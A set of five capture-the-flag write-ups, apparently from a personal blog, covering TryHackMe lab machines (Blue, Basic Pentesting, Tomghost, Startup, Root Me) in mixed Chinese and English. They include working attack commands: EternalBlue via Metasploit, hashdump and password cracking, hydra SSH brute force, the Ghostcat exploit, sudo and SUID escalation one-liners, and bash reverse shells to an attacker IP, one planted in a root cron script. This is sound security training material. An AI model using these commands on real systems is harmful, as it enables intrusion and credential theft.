Blue (Try Hack Me Writeup)

URL : https://tryhackme.com/room/blue IP : 10.10.158.118 Recon Q: How many ports are open with a port number under 1000?nmap -p 1-1000 10.10.158.118 回傳 3 個135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds老規矩習慣的 nmap -A 10.10.158.118 看看- Q: What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)- nmap 看到的 Windows7 版本拿去 Googlewindows 7 professional 7601 service pack 1 exploit就會出現 MS17-010 EternalBlue Metasploit 開啟 msfconsole搜尋 search MS17-010 選擇 exploit/windows/smb/ms17_010_eternalblue輸入 use exploit/windows/smb/ms17_010_eternalblue- 輸入 show options 設定需要的 optionsset RHOSTS 10.10.158.118 set LHOST 10.14.7.198輸入 set payload windows/x64/shell/reverse_tcp輸入 exploit- 成功拿到 shell! 輸入 whoami 可以發現,其實已經是 system 權限了 使用 Meterpreter 存參https://paper.seebug.org/29/簡單來說,Meterpreter是提供給"後滲透"使用- 也就是說,比起cmd有更多方便的功能醬子 例如 getsystem 可自動提權Google shell_to_meterpreter- 取得 post/multi/manage/shell_to_meterpreter``use post/multi/manage/shell_to_meterpreter- show options set LHOST 10.14.7.198 確定剛剛我們 ctrl + z 的 session輸入 sessions set SESSION 1``run- 輸入 sessions- 可以看到目前有兩個 session 選第 2 個輸入 sessions 2進入 shell- 輸入 shell 輸入 whoami確定目前自己是 nt authority\system按下 Ctrl + Z 回到 Meterpreter 選單- 輸入 ps 觀察目前系統執行的 process尋找最後一個 process3056 692 TrustedInstaller.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\servicing\TrustedInstaller.exe輸入 migrate 3056 遷移到 PID 上輸入 hashdump- 可以看到不同使用者的 hash 看起來一般的使用者應該是 Jon把 Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d::: 存成 txt 用 john 來破- john jon.txt --format=NT --wordlist=/opt/rockyou.txt 1 秒鐘就爆出來ㄌ alqfna22 各種 Flag Flag1? This flag can be found at the system root.type flag1.txt``flag{access_the_machine}Flag2? This flag can be found at the location where passwords are stored within Windows.- 他說 Flag 存在 Windows 存密碼的地方 Windows 的密碼 hash 存在 C:\Windows\System32\config 裡面有 `type flag2.txt``flag{sam_database_elevated_access}flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.- 其實我覺得這裡有一點點暴力,但這一題真的有點通靈 已經發現前兩隻 flag 檔名是 flag1.txt , flag2.txt 所以我想說直接在 C槽 根目錄爆搜dir flag*.txt /s /p 然後就噴出來ㄌ www flag{admin_documents_can_be_valuable} 這也提醒我們,可以觀察使用者的 Documents 或 Desktop但據我所知大多數的台灣人並沒有用 “我的文件” ㄉ習慣 www

2021-07-25 · 2 分鐘 · steven

Basic Pentesting (Try Hack Me Writeup)

URL : https://tryhackme.com/room/basicpentestingjt Target IP : 10.10.165.235 Scanning nmap -A 10.10.165.235 Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-24 04:40 EDT Nmap scan report for 10.10.165.235 Host is up (0.27s latency). Not shown: 994 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA) | 256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA) |_ 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) | ajp-methods: | Supported methods: GET HEAD POST OPTIONS 8080/tcp open http Apache Tomcat 9.0.7 |_http-favicon: Apache Tomcat |_http-title: Apache Tomcat/9.0.7 Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 1h20m01s, deviation: 2h18m34s, median: 0s |_nbstat: NetBIOS name: BASIC2, NetBIOS user: , NetBIOS MAC: (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: basic2 | NetBIOS computer name: BASIC2\x00 | Domain name: \x00 | FQDN: basic2 |_ System time: 2021-07-24T04:41:05-04:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-07-24T08:41:04 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 52.95 seconds The open port is22 SSHOpenSSH 7.2p2 - Username Enumeration80 HTTP- Apache/2.4.18 : no vulnerability139、445 SMB- Samba smbd 4.3.11-Ubuntu : no vulnerability8009 AJP138080 Tomcat Access Website (80 port) Use dirsearchpython3 dirsearch.py -u http://10.10.165.235/ -e allQuestion1 : What is the name of the hidden directory on the web server(enter name without /)?- developmentAfter access the development page, we can get 2 files- They are some mail from J and K to talk about some upgrade smb issue. Try to find the username enum4linux 10.10.165.235 -a So there are 2 username we findkay and janAlthough the verison of SSH services is 7.2p2, it has a vulnerability with Username Enumeration- https://www.exploit-db.com/exploits/40136 But I have tried and it doesn’t work What is the password? We need to burp force the password for these 2 users Use hydra to check with rockyou.txthydra -l kay -P /opt/rockyou.txt ssh://10.10.165.235 hydra -l jan -P /opt/rockyou.txt ssh://10.10.165.235 We find the password : armando with user jan Login into ssh services with jan’s credential ssh jan@10.10.165.235 We are login with jan, but we can’t cat /home/kay/pass.bakAnd then we find some cool things at `/home/kay/.ssh‵- This is the login key file he/she forgot to remove, so we can login with ssh without password, we can try to scp it to our computer by scp -r jan@10.10.165.235:/home/kay/.ssh .Use ssh command to try to login with kay- chmod 600 id_rsa ssh kay@10.10.165.235 -i id_rsa But the key file needs password, so we need to crak Crack ssh key Use ssh2john python ssh2john.py id_rsa > john_sshRun john with wordlist rockyou- john john_ssh --wordlist=/opt/rockyou.txt So password is beeswax Use key file and password to login with ssh And we can find the final flag!heresareallystrongpasswordthatfollowsthepasswordpolicy Final Screenshot

2021-07-24 · 3 分鐘 · steven

Tomghost (Try Hack Me Writeup)

URL : https://tryhackme.com/room/tomghost IP : 10.10.9.138 Scanning nmap -A 10.10.9.138 有開的 port22 SSH 7.2ps 53 tcpwarpped 8009 AJP13 1.3 8080 Tomcat 9.0.30 Exploit 使用 searchsploit 搜尋 AJPsearchsploit AJP 可以找到 Apache Tomcat - AJP 'Ghostcat File Read/Inclusionhttps://www.exploit-db.com/exploits/48143`wget https://www.exploit-db.com/download/48143``mv 48143 48143.py``python 48143.py`- 就直接噴出帳號密碼ㄌ帳號 : skyfuck 密碼 : 8730281lkjlkjdqlksalks SSH 進去晃晃 ssh skyfuck@10.10.9.138 發現家目錄裡面有兩個檔案 先抓出來scp -r skyfuck@10.10.9.138:/home/skyfuck .在 /home/merlin 發現 user.txt- THM{GhostCat_1s_so_cr4sy} 暴力破解 pgp 看到一個 asc 檔案 跟一個 pgp 檔案用 file 觀察他們在幹嘛 .pgp 是加密後ㄉ東西 .asc 的是 private keypgp 轉 john- gpg2john tryhackme.asc > john_gpg 備註 : gpg 是開源版本的 pgpref : https://zh.wikipedia.org/wiki/PGP我們要破的是 .asc 的 private key 檔案求密碼用 john 爆破,With rockyou.txt- john john_gpg --wordlist=/opt/rockyou.txt 破出密碼為 alexandru``gpg --decrypt credential.pgp- 輸入密碼 取得 merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j 提權 su merlin輸入密碼sudo -l- (root : root) NOPASSWD: /usr/bin/zip 發現有 zip 的 sudo 權限到 GTFOBins 找 zip 提權方法- 可以 sudo 的TF=$(mktemp -u) sudo zip $TF /etc/hosts -T -TT 'sh #'提權成功- root.txt : THM{Z1P_1S_FAKE}

2021-07-24 · 1 分鐘 · steven

Startup (Try Hack Me Writeup)

URL : https://tryhackme.com/room/startup Target IP : 10.10.37.216 Scan 老規矩 nmap 起手式nmap -A 10.10.37.216 有開21 FTPnmap 說 Anonymous allow22 SSH80 網頁掃網頁路徑- python3 dirsearch.py -u http://10.10.37.216/ -e all 可能有用的路徑http://10.10.37.216/files/裡面有一段話,跟 meme FTP ftp 10.10.37.216帳號 : Anonymous 密碼 : 空白 發現路徑就是網頁伺服器的files嘗試上傳檔案- 根目錄(網頁的 files) 沒有權限ftp 目錄- 有權限ㄌ! Shell 訪問 http://10.10.37.216/files/ftp/b374k.php使用預設密碼轉用 Reverse Shell- 本地端準備 nc -vlk 7877 在 Terminal 輸入 bash -c 'bash -i >& /dev/tcp/10.14.7.198/7877 0>&1'切換為交互式 shell- python -c 'import pty; pty.spawn("/bin/bash")' 亂逛系統 根目錄底下recipe.txt``Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was love. 問題 : What is the secret spicy soup recipe? 答案 : loveincidents 資料夾- 裡面有 suspicious.pcapng 透過 webshell 把他載下來備用使用者相關- /home 底下有 lennie 使用者 解析 pcap 觀察第 45 個封包 follow TCP stream可以看到 webshell 的紀錄 其中輸入了密碼 c4ntg3t3n0ughsp1c3 嘗試登入使用者 回到 reverse shell 輸入 su lennie 並搭配上述密碼 登入成功!!取得 user.txt- THM{03ce3d619b80ccbfb3b7fc81e46c0e79} 研究提權 在使用者資料夾裡找到 scripts 資料夾 兩個檔案權限都是 root,但我們可以進行讀取 planner.sh看起來會把環境變數 $LIST 給寫到 startup_list.txt接著呼叫 /etc/print.sh #!/bin/bash echo $LIST > /home/lennie/scripts/startup_list.txt /etc/print.sh 觀察 /etc/print.sh 可以發現我們有 write 的權限-rwx------ 1 lennie lennie 25 Nov 12 2020 /etc/print.sh在 print.sh 下面加上一行 reverse shell- echo "bash -c 'bash -i >& /dev/tcp/10.14.7.198/8778 0>&1'" >> /etc/print.sh 當然這邊的 port 要跟目前的不同,然後本地開 nc -vlk 8778 來聽 然後連指令都還沒執行,就莫名地拿到 root ㄌ ?__? THM{f963aaa6a430f210222158ae15c3d76d} 為什麼誤打誤撞拿到 root ㄌ,還是要來研究一下 跑 Linpeas準備 linpeas.sh 在本地python3 -m http.server回到使用者端- wget 10.14.7.198:8000/linpeas.sh bash linpeas.sh | tee meow.txt看不出什麼結果使用 Pspy- 用上述同樣方法載到被駭機觀察 發現每分鐘都會用 UID=0 執行一次 planner.sh 所以應該是一個 root 的 cron job進入root後- 輸入 crontab -l 就能看到這條 cron job 了我還是覺得這一段有一點點通靈 QQ

2021-07-24 · 2 分鐘 · steven

Root Me (Try Hack Me Writeup)

題目網址 : https://tryhackme.com/room/rrootme 目標IP : 10.10.233.205 Scanning 起手式 nmapnmap -A 10.10.233.205 22 : SSH7.6p1 有枚舉的漏洞 CVE-2018-15473 https://github.com/sriramoffcl/OpenSSH-7.6p1-Exploit-py-/blob/master/45233.py80 : Apache- Apache httpd 2.4.29nmap 掃描的同一時間,先打開網頁看看- 網頁起手式 dirsearchpython3 dirsearch.py -u http://10.10.233.205/ -e all 看起來可能會有趣的路徑/panel/ /uploads/ 上傳 webshell /panel/ 可以上傳檔案 用 Wappalyzer 可以確定他是 PHP上傳個 b374k.php- 會噴錯,Google翻譯說 PHP是不允許的! (葡萄牙文)使用 php 副檔名解析漏洞測試- Apache 1.x 2.x 文件解析特性BJ4測試檔名 b374k.php.aaa- Google 翻譯 :文件上傳成功! 使用 Webshell 點下面的 Veja! 會跳轉到 http://10.10.233.205/uploads/b374k.php.aaa 使用預設密碼就能進入 shell 戳入 Reverse Shell Webshell 滿好用的,但是Reverse shell用起來更爽確認攻擊機 ip 為 10.14.7.198終端機輸入 nc -vlk 7877webshell 的 Terminal 輸入- bash -c 'bash -i >& /dev/tcp/10.14.7.198/7877 0>&1'即可順利連上 Reverse shell- 輸入指令讓他變得更 interactive 一點- python -c 'import pty; pty.spawn("/bin/bash")' 在電腦裡面逛大街 user.txt THM{y0u_g0t_a_sh3ll 設法提權 使用內建的上傳功能上傳 LinEnum.sh開權限 chmod +x LinEnum.sh 執行,並存到檔案 ./LinEnum.sh | tee meow.txt 基本上優先注意紅色、橘色的東西找到有趣ㄉ東西!! [+] Possibly interesting SUID files: -rwsr-sr-x 1 root root 3665768 Aug 4 2020 /usr/bin/python- 也就是說 /usr/bin/python 可以用 SUID 執行 到 GTFOBins 找 Python 有 SUID 的提權方法python -c 'import os; os.execl("/bin/sh", "sh", "-p")' 提權成功!! Flag : THM{pr1v1l3g3_3sc4l4t10n}

2021-07-24 · 1 分鐘 · steven